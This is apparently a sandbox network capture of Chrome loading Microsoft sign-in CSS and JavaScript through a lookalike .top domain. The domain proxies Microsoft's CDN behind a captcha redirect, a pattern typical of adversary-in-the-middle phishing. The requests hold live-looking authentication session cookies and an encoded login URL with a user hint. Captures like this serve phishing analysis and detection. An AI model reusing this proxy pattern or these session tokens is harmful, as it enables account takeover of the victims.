2024-04-25 18:36:58 UTC	1110	IN	Data Raw: 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 64 73 2d 72 69 6e 67 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 6e 6f 6e 65 29 7b 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f Data Ascii: {margin-bottom:1rem}}@keyframes lds-ring{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@media screen and (-ms-high-contrast:active),screen and (-ms-high-contrast:none){.main-wrapper,body{display:block}}@media (prefers-color-scheme:dark){body{backgro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49757	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:59 UTC	2913	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA
2024-04-25 18:37:00 UTC	781	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:59 GMT Content-Type: text/css Content-Length: 20314 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 27 Dec 2023 18:18:12 GMT ETag: 0x8DC07082FBB8D2B x-ms-request-id: 899c1622-e01e-003c-5ce7-933096000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183659Z-174886c4d465p89q6h2axutybg000000013g00000000d7w5 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-25 18:37:00 UTC	15603	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 73 e3 36 b2 e8 f7 f9 15 5c a7 52 3b ce 4a 8c 48 3d 2d 57 52 3b 99 cc 26 3e 67 5e 35 33 d9 47 a5 52 5b b4 44 59 3c 43 89 ba 24 65 8f 57 47 ff fd e2 8d 06 d0 20 29 8f b3 d9 7b 2b 27 67 13 0b dd 6c 00 dd 8d 06 1a e8 06 be fe ea 0f c1 f3 62 77 5f 66 37 eb 3a 78 fa fc 3c 78 95 2d ca a2 2a 56 35 29 2f 77 45 99 d4 59 b1 0d 83 67 79 1e 30 a4 2a 28 d3 2a 2d 6f d3 65 18 7c f5 f5 d7 5f fd e1 49 bf fb ff 05 ef 3f 3c 7b f7 21 78 f3 97 e0 c3 8f 57 ef be 0f de 92 5f ff 08 5e bf f9 70 f5 fc 45 d0 99 ca 93 27 1f d6 59 15 ac b2 3c 0d c8 7f af 93 2a 5d 06 c5 36 28 ca 20 db 2e 44 ab d3 2a d8 90 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 f4 21 cf aa 9a 7c 74 9d e6 c5 5d f0 94 90 2b 97 c1 db a4 ac ef 83 ab b7 e7 61 f0 81 e0 16 Data Ascii: }ks6\R;JH=-WR;&>g^53GR[DY<C$eWG ){+'glbw_f7:x<x-V5)/wEYgy0(-oe\|_I?<{!xW_^pE'Y<]6( .D*Y:ve?!\|t]+a
2024-04-25 18:37:00 UTC	4711	IN	Data Raw: e7 bc b1 e2 92 61 7d df b0 68 ac ab 2c aa b1 88 da cb c6 22 89 f4 a2 b1 42 53 1e da 58 e7 55 1e b5 fb a5 96 31 c6 85 9c 5c 95 58 0f 77 34 04 a7 bc ef e9 bc 62 55 e4 cb 9d 46 11 60 f2 34 8a 20 ba 0a e1 1d 2d b3 ba 41 d4 6a 33 50 25 58 6c a8 15 02 68 eb 56 83 ba b5 a0 21 5d f4 aa e1 60 30 5e 26 13 b7 4f 5a e3 0c 32 50 fb 10 40 6b 9f fc 5a d9 82 86 f5 c9 a7 ad bc 4f 0f 53 c6 3e 8f 75 ef 81 fb bb e5 60 13 bf d0 d1 86 c0 d4 70 43 60 72 bc 81 ca 0c ee 7b ca cd 06 61 90 56 01 34 34 b4 0d 0f 13 81 b8 e1 dc 70 52 d0 d3 64 f3 b6 df 8a 2c 1c d2 a7 e1 c5 ec 1c b9 2b 18 00 b1 42 22 26 de 7d 9d 59 8d 1f 8e 83 89 00 6e 65 8f 64 aa a2 fc c3 d8 65 70 5f b6 f7 9c 65 7e ea 83 9d 2c f7 31 10 e4 08 df ce 47 c4 df 33 f4 3c 40 c9 2e 2b 17 af 8a ce 37 c9 36 db ed 73 c6 5e f7 a6 Data Ascii: a}h,"BSXU1\Xw4bUF`4 -Aj3P%XlhV!]`0^&OZ2P@kZOS>u`pC`r{aV44pRd,+B"&}Ynedep_e~,1G3<@.+76s^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49758	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:59 UTC	2890	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_4aBF4cdky--I3Cpch7JoPw2.js HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA
2024-04-25 18:37:00 UTC	139	IN	HTTP/1.1 200 OK Content-Length: 689017 Content-Type: application/x-javascript Date: Thu, 25 Apr 2024 18:36:59 GMT Connection: close
2024-04-25 18:37:00 UTC	16245	IN	Data Raw: 0a 21 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 74 2c 20 69 2c 20 6f 20 3d 20 6e 5b 30 5d 2c 20 72 20 3d 20 6e 5b 31 5d 2c 20 73 20 3d 20 30 2c 20 63 20 3d 20 5b 5d 3b 20 73 20 3c 20 6f 2e 6c 65 6e 67 74 68 3b 20 73 2b 2b 29 0a 20 20 20 20 20 20 28 69 20 3d 20 6f 5b 73 5d 29 2c 0a 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 20 69 29 20 26 26 20 61 5b 69 5d 20 26 26 20 63 2e 70 75 73 68 28 61 5b 69 5d 5b 30 5d 29 2c 0a 20 20 20 20 20 20 20 20 28 61 5b 69 5d 20 3d 20 30 29 3b 0a 20 20 20 20 66 6f 72 20 28 74 20 69 6e 20 72 29 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: !(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.proto
2024-04-25 18:37:00 UTC	16384	IN	Data Raw: 6f 63 6b 65 64 3a 20 31 30 30 2c 0a 20 20 20 20 20 20 20 20 54 69 6c 65 73 3a 20 31 30 32 2c 0a 20 20 20 20 20 20 20 20 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 3a 20 31 30 33 2c 0a 20 20 20 20 20 20 20 20 46 65 64 43 6f 6e 66 6c 69 63 74 3a 20 31 30 35 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 20 31 30 36 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 20 31 30 37 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 20 31 30 38 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 20 31 30 39 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 20 31 31 Data Ascii: ocked: 100, Tiles: 102, RemoteConnect: 103, FedConflict: 105, Win10Host_Login: 106, Win10Host_Login_PhoneSignin: 107, Win10Host_Finish: 108, Win10Host_StrongAuth: 109, Win10Host_HIP_Login: 11
2024-04-25 18:37:00 UTC	16384	IN	Data Raw: 20 28 50 52 4f 4f 46 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 54 79 70 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 45 6d 61 69 6c 3a 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 41 6c 74 45 6d 61 69 6c 3a 20 32 2c 0a 20 20 20 20 20 20 20 20 20 20 53 4d 53 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 20 20 44 65 76 69 63 65 49 64 3a 20 34 2c 0a 20 20 20 20 20 20 20 20 20 20 43 53 53 3a 20 35 2c 0a 20 20 20 20 20 20 20 20 20 20 53 51 53 41 3a 20 36 2c 0a 20 20 20 20 20 20 20 20 20 20 43 65 72 74 69 66 69 63 61 74 65 3a 20 37 2c 0a 20 20 20 20 20 20 20 20 20 20 48 49 50 3a 20 38 2c 0a 20 20 20 20 20 20 20 20 20 20 42 69 72 74 68 64 61 79 3a 20 39 2c 0a 20 20 20 20 20 20 20 20 20 20 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 3a 20 31 30 2c 0a 20 20 20 20 20 20 Data Ascii: (PROOF = { Type: { Email: 1, AltEmail: 2, SMS: 3, DeviceId: 4, CSS: 5, SQSA: 6, Certificate: 7, HIP: 8, Birthday: 9, TOTPAuthenticator: 10,
2024-04-25 18:37:00 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 6e 20 7c 7c 20 22 22 20 3d 3d 3d 20 6e 20 7c 7c 20 28 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 50 2e 70 61 72 73 65 28 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 2e 71 75 65 72 79 20 3d 20 74 2e 71 75 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 20 3d 20 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 2e 71 75 65 72 79 2c 20 65 2c 20 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3f 20 74 2e 71 75 65 72 79 5b 69 5d 20 3a 20 22 22 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 46 72 6f 6d 43 Data Ascii: n \|\| "" === n \|\| (n = document.location.search); var t = P.parse(n); t.query = t.query \|\| {}; var i = s.findOwnProperty(t.query, e, !0); return i ? t.query[i] : ""; }, appendOrReplaceFromC
2024-04-25 18:37:00 UTC	16384	IN	Data Raw: 5d 2f 67 2c 0a 20 20 20 20 20 20 20 20 20 20 67 61 70 2c 0a 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 62 22 3a 20 22 5c 5c 62 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 74 22 3a 20 22 5c 5c 74 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 6e 22 3a 20 22 5c 5c 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 66 22 3a 20 22 5c 5c 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 72 22 3a 20 22 5c 5c 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 22 27 3a 20 27 5c 5c 22 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 5c 22 3a 20 22 5c 5c 5c 5c 22 2c 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ]/g, gap, indent, meta = { "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\", },
2024-04-25 18:37:00 UTC	16384	IN	Data Raw: 20 20 20 20 76 61 72 20 6d 20 3d 20 66 2e 61 64 64 28 64 2c 20 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 2e 74 61 72 67 65 74 55 72 6c 20 3d 20 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 61 2e 48 61 6e 64 6c 65 72 2e 63 61 6c 6c 28 6e 2c 20 70 29 2c 20 6e 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 28 6e 2e 42 65 61 63 6f 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 69 2c 20 61 2c 20 6f 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 76 28 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 70 2e 66 6f 72 45 61 63 68 28 Data Ascii: var m = f.add(d, c); p.targetUrl = m; } } a.Handler.call(n, p), n.sendRequest(); }), (n.Beacon = function (e, t, i, a, o) { var r = [], s = v(!0); p.forEach(
2024-04-25 18:37:00 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6e 20 3f 20 28 6c 20 3d 3d 3d 20 70 2e 46 54 45 72 72 6f 72 20 3f 20 68 28 65 2c 20 64 29 20 3a 20 76 28 65 2c 20 64 29 29 20 3a 20 62 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6b 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 67 20 3d 20 22 22 29 2c 20 28 6c 20 3d 20 70 2e 45 72 72 6f 72 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 54 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 6c 20 3d 20 70 2e 54 69 6d 65 6f 75 74 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 28 67 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 Data Ascii: n ? (l === p.FTError ? h(e, d) : v(e, d)) : b(e); } function k() { (g = ""), (l = p.Error), (u = ""), (f = ""), v(d); } function T() { (l = p.Timeout), (u = ""), (f = ""), (g = ""), v(d);
2024-04-25 18:37:00 UTC	16384	IN	Data Raw: 3d 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 7b 20 63 72 65 64 54 79 70 65 3a 20 6d 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 20 70 72 6f 6f 66 3a 20 65 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 28 28 74 2e 70 72 6f 6f 66 2e 69 73 45 6e 63 72 79 70 74 65 64 20 3d 20 21 30 29 2c 20 65 2e 74 79 70 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 2e 69 73 56 6f 69 63 65 4f 6e 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = n) { var t = { credType: m.OneTimeCode, proof: e }; switch (((t.proof.isEncrypted = !0), e.type)) { case PROOF.Type.SMS: case PROOF.Type.Voice: if (!e.isVoiceOnly) {
2024-04-25 18:37:00 UTC	16384	IN	Data Raw: 3d 20 70 2e 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3f 22 20 2b 20 67 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 77 63 74 78 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 25 33 44 33 25 32 36 22 20 2b 20 70 2e 65 78 74 72 61 63 74 28 22 77 63 74 78 22 2c 20 22 3f 22 20 2b 20 67 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 74 20 3d 20 74 2e 73 75 62 73 74 72 28 31 29 29 2c 20 28 65 20 3d 20 70 2e 61 70 70 65 6e 64 28 65 2c 20 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = p.appendOrReplace( "?" + ge, "wctx", "LoginOptions%3D3%26" + p.extract("wctx", "?" + ge) ); (t = t.substr(1)), (e = p.append(e, t));
2024-04-25 18:37:00 UTC	16384	IN	Data Raw: 20 20 28 65 2e 65 78 70 6f 72 74 73 20 3d 20 70 29 3b 0a 20 20 7d 2c 0a 20 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 74 29 20 7b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 74 28 32 29 2c 0a 20 20 20 20 20 20 61 20 3d 20 74 28 31 29 2c 0a 20 20 20 20 20 20 6f 20 3d 20 74 28 34 29 2c 0a 20 20 20 20 20 20 72 20 3d 20 74 28 30 29 2c 0a 20 20 20 20 20 20 73 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 20 20 63 20 3d 20 72 2e 44 69 61 6c 6f 67 49 64 3b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6e 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 74 20 3d 20 65 2e 69 73 50 6c 61 74 66 6f 72 6d 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 76 61 69 6c 61 62 6c 65 3b 0a 20 20 20 20 20 20 28 6e 2e 6f 6e 52 65 67 Data Ascii: (e.exports = p); }, function (e, n, t) { var i = t(2), a = t(1), o = t(4), r = t(0), s = window, c = r.DialogId; function d(e) { var n = this, t = e.isPlatformAuthenticatorAvailable; (n.onReg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
